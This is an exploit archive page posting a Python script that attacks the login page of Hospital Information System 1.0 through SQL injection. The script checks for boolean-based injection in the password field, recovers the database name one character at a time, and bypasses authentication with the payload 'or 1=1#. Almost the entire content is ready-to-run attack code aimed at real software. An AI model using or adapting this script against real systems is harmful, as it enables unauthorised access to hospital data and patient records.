exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Hospital Information System 1.0 SQL Injection

Hospital Information System 1.0 SQL Injection
Posted Jul 26, 2022
Authored by saitamang

Hospital Information System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

tags | exploit, remote, sql injection
SHA-256 | fe66c661132cc964be237a78b59c37dd33812105a69f943e40034432ba9e37b1

Hospital Information System 1.0 SQL Injection

Change Mirror Download
# Exploit Title: Hospital Information System - SQL Injection via login page
# Date: 25/07/2022
# Exploit Author: saitamang
# Vendor Homepage: https://code-projects.org
# Software Link: https://download-media.code-projects.org/2019/11/HOSPITAL_INFORMATION_SYSTEM_IN_PHP_WITH_SOURCE_CODE.zip
# Version: 1.0
# Tested on: Centos 7 apache2 + MySQL


import requests, string, sys, warnings, time, concurrent.futures
from requests.packages.urllib3.exceptions import InsecureRequestWarning
warnings.simplefilter('ignore',InsecureRequestWarning)

dbname = ''

req = requests.Session()

def login(ip,username,password):
target = "http://%s/HIS/includes/users/UsersController.php" %ip

data = {'type':'login','username':username,'password':password}
response = req.post(target, data=data)

if 'success' in response.text:
print("[$] Success Login with credentials "+username+":"+password+"")
else:
print("[$] Failed Login with credentials "+username+":"+password+"")

def check_injection():
# library inj
test_query0 = "'or 1=2#"
test_query1 = "'or 1=1#"

target = "http://%s/HIS/includes/users/UsersController.php" %ip

result = ""

for i in range(2):

if i==0:
data = {'type':'login','username':username,'password':test_query0}
response = req.post(target, data=data)
if response.text=="success":
result = response.text
else:
pass
if i==1:
data = {'type':'login', 'username':username,'password':test_query1}
response = req.post(target, data=data)
if response.text=="success":
result = response.text
else:
pass
if result=="success":
print("[##] SQLI Boolean-Based Present at password field :)")
else:
print("[##] No SQLI :)")

def brute(dbname):
target = "http://%s/HIS/includes/users/UsersController.php" %ip

l=0

no = [int(a) for a in str(string.digits)]
# checking length of dbname
for i in no: # 0-9

payload = "'or 1=1 and length(database())='"+ str(i) +"'#"
#print(payload)

data = {'type':'login','username':username,'password':payload}
response = req.post(target, data=data)
result = response.text

if result=="success":
print("[##] The correct length of DB name is "+str(i))
l=i
break
else:
print("[##] The length of DB name "+str(i)+" is wrong")
pass

char = [char for char in string.ascii_lowercase]
dbname = []

for i in range(l):
for j in char:
payload = "'or 1=1 and substring(database()," + str(i+1) + ",1)='" + str(j) +"'#"

data = {'type':'login','username':username,'password':payload}
response = req.post(target, data=data)
result = response.text

if result=="success":
dbname.append(j)
print("[+] The " + str(i+1) + " char of DB name is "+str(j))
break
else:
pass

dbname = ''.join(dbname)

print("[+] Database name retrieved --> "+dbname)
print("[+] Bypass completed :)")
print("[+] Bypass payload can be used is \n'or 1=1#")

password = "'or 1=1#"
print("\nRetry to login with new payload in password field")
login(ip,username,password)

if __name__ == "__main__":
print(" _____ _ __ ")
print(" / ___/____ _(_) /_____ _____ ___ ____ _____ ____ _")
print(" \__ \/ __ `/ / __/ __ `/ __ `__ \/ __ `/ __ \/ __ `/")
print(" ___/ / /_/ / / /_/ /_/ / / / / / / /_/ / / / / /_/ / ")
print("/____/\__,_/_/\__/\__,_/_/ /_/ /_/\__,_/_/ /_/\__, / ")
print(" /____/ \n\n")

try:
ip = sys.argv[1].strip()
username = sys.argv[2].strip()
password = sys.argv[3].strip()

login(ip,username,password)
check_injection()
brute(dbname)

except IndexError:
print("[-] Usage %s <ip> <username> <password>" % sys.argv[0])
print("[-] Example: %s 192.168.100.x admin admin123" % sys.argv[0])
sys.exit(-1)
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close